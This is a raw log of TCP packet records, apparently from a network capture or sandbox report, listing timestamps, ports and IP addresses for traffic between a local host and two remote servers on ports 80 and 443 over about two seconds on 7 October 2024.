Oct 7, 2024 18:00:53.340532064 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.340560913 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.340841055 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.340851068 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.340861082 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.340883970 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.340893030 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.340894938 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.340905905 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.340914011 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.340941906 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.340965986 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.340976000 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.341012001 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.341352940 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.341362000 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.341370106 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.341373920 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.341420889 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.341789961 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.341840029 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.341850996 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.341886997 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.342065096 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.342078924 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.342088938 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.342099905 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.342108965 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.342122078 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.342154026 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.342258930 CEST	443	49917	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:53.342302084 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.342312098 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.342323065 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.342333078 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.342343092 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.342353106 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.342353106 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.342365026 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.342380047 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.342389107 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.342392921 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.342400074 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.342410088 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.342418909 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.342420101 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.342428923 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.342437983 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.342447042 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.342447996 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.342458963 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.342458963 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.342469931 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.342473984 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.342500925 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.342525005 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.342663050 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.342700958 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.342825890 CEST	49917	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:53.342833042 CEST	443	49917	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:53.343127966 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.343169928 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.343241930 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.343257904 CEST	49917	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:53.343261957 CEST	443	49917	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:53.343280077 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.372730970 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.372742891 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.372752905 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.372762918 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.372771978 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.372781038 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.372791052 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.372801065 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.372802019 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.372812033 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.372822046 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.372831106 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.372842073 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.372842073 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.372853041 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.372889042 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.372889042 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.388767004 CEST	443	49919	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:53.392061949 CEST	49919	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:53.392076015 CEST	443	49919	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:53.392553091 CEST	49919	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:53.392556906 CEST	443	49919	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:53.404455900 CEST	443	49918	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:53.407928944 CEST	49918	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:53.407951117 CEST	443	49918	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:53.408252001 CEST	49918	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:53.408260107 CEST	443	49918	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:53.442620993 CEST	443	49917	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:53.442651033 CEST	443	49917	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:53.442945004 CEST	49917	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:53.442961931 CEST	443	49917	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:53.443171024 CEST	49917	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:53.443182945 CEST	443	49917	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:53.443190098 CEST	49917	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:53.443347931 CEST	443	49917	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:53.443401098 CEST	443	49917	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:53.443444014 CEST	49917	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:53.446404934 CEST	49922	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:53.446438074 CEST	443	49922	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:53.446532011 CEST	49922	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:53.447139978 CEST	49922	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:53.447154045 CEST	443	49922	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:53.485328913 CEST	443	49920	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:53.485721111 CEST	49920	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:53.485732079 CEST	443	49920	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:53.486202955 CEST	49920	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:53.486208916 CEST	443	49920	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:53.488610029 CEST	443	49919	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:53.488640070 CEST	443	49919	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:53.488686085 CEST	443	49919	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:53.488737106 CEST	49919	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:53.489295006 CEST	49919	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:53.489295006 CEST	49919	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:53.489305019 CEST	443	49919	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:53.489311934 CEST	443	49919	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:53.492230892 CEST	49923	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:53.492249012 CEST	443	49923	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:53.492305994 CEST	49923	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:53.492902994 CEST	49923	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:53.492916107 CEST	443	49923	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:53.523694038 CEST	443	49918	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:53.523718119 CEST	443	49918	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:53.523763895 CEST	49918	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:53.523776054 CEST	443	49918	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:53.523787022 CEST	443	49918	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:53.523844957 CEST	49918	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:53.524249077 CEST	49918	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:53.524260998 CEST	443	49918	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:53.524285078 CEST	49918	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:53.524291039 CEST	443	49918	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:53.527681112 CEST	49924	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:53.527704000 CEST	443	49924	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:53.527765989 CEST	49924	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:53.528067112 CEST	49924	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:53.528081894 CEST	443	49924	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:53.581579924 CEST	443	49920	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:53.582309961 CEST	443	49920	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:53.582361937 CEST	49920	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:53.582525969 CEST	49920	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:53.582535028 CEST	443	49920	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:53.582545042 CEST	49920	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:53.582551003 CEST	443	49920	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:53.588165998 CEST	49925	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:53.588219881 CEST	443	49925	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:53.588282108 CEST	49925	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:53.589109898 CEST	49925	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:53.589123964 CEST	443	49925	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:53.980856895 CEST	443	49921	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:54.022828102 CEST	49921	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:54.022841930 CEST	443	49921	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:54.029391050 CEST	49921	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:54.029398918 CEST	443	49921	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:54.068651915 CEST	443	49922	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:54.079092979 CEST	49922	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:54.079104900 CEST	443	49922	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:54.079547882 CEST	49922	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:54.079554081 CEST	443	49922	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:54.123871088 CEST	443	49921	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:54.123943090 CEST	443	49921	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:54.124021053 CEST	49921	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:54.124041080 CEST	443	49921	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:54.124063969 CEST	443	49921	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:54.124965906 CEST	49921	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:54.161487103 CEST	443	49923	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:54.166276932 CEST	443	49924	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:54.173330069 CEST	443	49922	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:54.173449039 CEST	443	49922	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:54.173640966 CEST	49922	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:54.218810081 CEST	49924	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:54.218813896 CEST	49923	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:54.242216110 CEST	49921	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:54.242238998 CEST	443	49921	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:54.242252111 CEST	49921	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:54.242264032 CEST	443	49921	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:54.253160000 CEST	49923	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:54.253166914 CEST	443	49923	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:54.253942966 CEST	49923	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:54.253947973 CEST	443	49923	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:54.254242897 CEST	49924	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:54.254257917 CEST	443	49924	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:54.254789114 CEST	49924	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:54.254796028 CEST	443	49924	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:54.287205935 CEST	49922	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:54.287205935 CEST	49922	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:54.287231922 CEST	443	49922	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:54.287241936 CEST	443	49922	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:54.341286898 CEST	443	49925	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:54.381572962 CEST	443	49923	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:54.381612062 CEST	443	49923	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:54.381663084 CEST	443	49923	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:54.381685019 CEST	49923	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:54.381778002 CEST	49923	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:54.382324934 CEST	443	49924	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:54.382392883 CEST	443	49924	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:54.383439064 CEST	49924	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:54.387877941 CEST	49925	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:54.419409037 CEST	49925	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:54.419425011 CEST	443	49925	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:54.419840097 CEST	49925	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:54.419846058 CEST	443	49925	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:54.435005903 CEST	49923	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:54.435023069 CEST	443	49923	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:54.435034037 CEST	49923	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:54.435040951 CEST	443	49923	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:54.436300993 CEST	49924	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:54.436315060 CEST	443	49924	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:54.439044952 CEST	49926	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:54.439083099 CEST	443	49926	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:54.439135075 CEST	49926	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:54.439291954 CEST	49926	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:54.439304113 CEST	443	49926	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:54.440156937 CEST	49927	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:54.440177917 CEST	443	49927	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:54.440460920 CEST	49927	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:54.441829920 CEST	49927	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:54.441843033 CEST	443	49927	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:54.442715883 CEST	49928	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:54.442747116 CEST	443	49928	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:54.442815065 CEST	49928	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:54.443095922 CEST	49928	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:54.443109989 CEST	443	49928	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:54.443612099 CEST	49929	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:54.443645954 CEST	443	49929	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:54.443828106 CEST	49929	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:54.444160938 CEST	49929	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:54.444169998 CEST	443	49929	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:54.533761978 CEST	443	49925	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:54.533792019 CEST	443	49925	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:54.533854961 CEST	443	49925	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:54.533855915 CEST	49925	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:54.533904076 CEST	49925	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:54.570624113 CEST	49925	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:54.570638895 CEST	443	49925	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:54.581011057 CEST	49930	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:54.581049919 CEST	443	49930	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:54.581145048 CEST	49930	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:54.581501007 CEST	49930	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:54.581517935 CEST	443	49930	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:54.588578939 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:54.588598967 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:54.593838930 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:54.594913006 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:55.066823006 CEST	443	49927	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:55.067287922 CEST	49927	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:55.067313910 CEST	443	49927	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:55.067517996 CEST	443	49926	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:55.067837000 CEST	49927	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:55.067842007 CEST	443	49927	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:55.067893028 CEST	49926	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:55.067955017 CEST	443	49926	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:55.068280935 CEST	49926	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:55.068303108 CEST	443	49926	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:55.082825899 CEST	443	49929	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:55.083240986 CEST	49929	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:55.083292007 CEST	443	49929	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:55.083652020 CEST	49929	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:55.083663940 CEST	443	49929	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:55.092128038 CEST	443	49928	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:55.092539072 CEST	49928	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:55.092557907 CEST	443	49928	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:55.092920065 CEST	49928	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:55.092926979 CEST	443	49928	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:55.163872004 CEST	443	49927	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:55.163935900 CEST	443	49927	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:55.164035082 CEST	49927	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:55.164181948 CEST	49927	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:55.164200068 CEST	443	49927	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:55.164233923 CEST	49927	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:55.164239883 CEST	443	49927	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:55.164740086 CEST	443	49926	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:55.165818930 CEST	443	49926	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:55.165877104 CEST	443	49926	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:55.165884972 CEST	49926	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:55.165940046 CEST	49926	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:55.165986061 CEST	49926	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:55.165986061 CEST	49926	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:55.166029930 CEST	443	49926	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:55.166055918 CEST	443	49926	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:55.166944981 CEST	49931	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:55.166985035 CEST	443	49931	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:55.167052031 CEST	49931	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:55.167164087 CEST	49931	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:55.167175055 CEST	443	49931	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:55.168055058 CEST	49932	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:55.168083906 CEST	443	49932	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:55.168147087 CEST	49932	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:55.168229103 CEST	49932	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:55.168237925 CEST	443	49932	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:55.205030918 CEST	443	49929	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:55.205250025 CEST	443	49929	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:55.205311060 CEST	49929	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:55.205364943 CEST	49929	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:55.205399990 CEST	443	49929	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:55.205426931 CEST	49929	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:55.205441952 CEST	443	49929	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:55.206213951 CEST	443	49930	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:55.206554890 CEST	49930	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:55.206574917 CEST	443	49930	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:55.206975937 CEST	49930	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:55.206988096 CEST	443	49930	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:55.207328081 CEST	49933	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:55.207360029 CEST	443	49933	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:55.207425117 CEST	49933	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:55.207530975 CEST	49933	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:55.207542896 CEST	443	49933	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:55.207689047 CEST	443	49928	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:55.209408045 CEST	443	49928	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:55.209461927 CEST	49928	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:55.209501982 CEST	49928	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:55.209513903 CEST	443	49928	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:55.209522963 CEST	49928	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:55.209527969 CEST	443	49928	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:55.211400032 CEST	49934	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:55.211407900 CEST	443	49934	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:55.211477995 CEST	49934	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:55.211590052 CEST	49934	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:55.211601019 CEST	443	49934	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:55.302377939 CEST	443	49930	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:55.302407980 CEST	443	49930	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:55.302449942 CEST	443	49930	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:55.302503109 CEST	49930	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:55.302544117 CEST	49930	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:55.303056955 CEST	49930	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:55.303103924 CEST	443	49930	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:55.303133965 CEST	49930	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:55.303152084 CEST	443	49930	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:55.305706978 CEST	49935	443	192.168.2.5	13.107.246.64
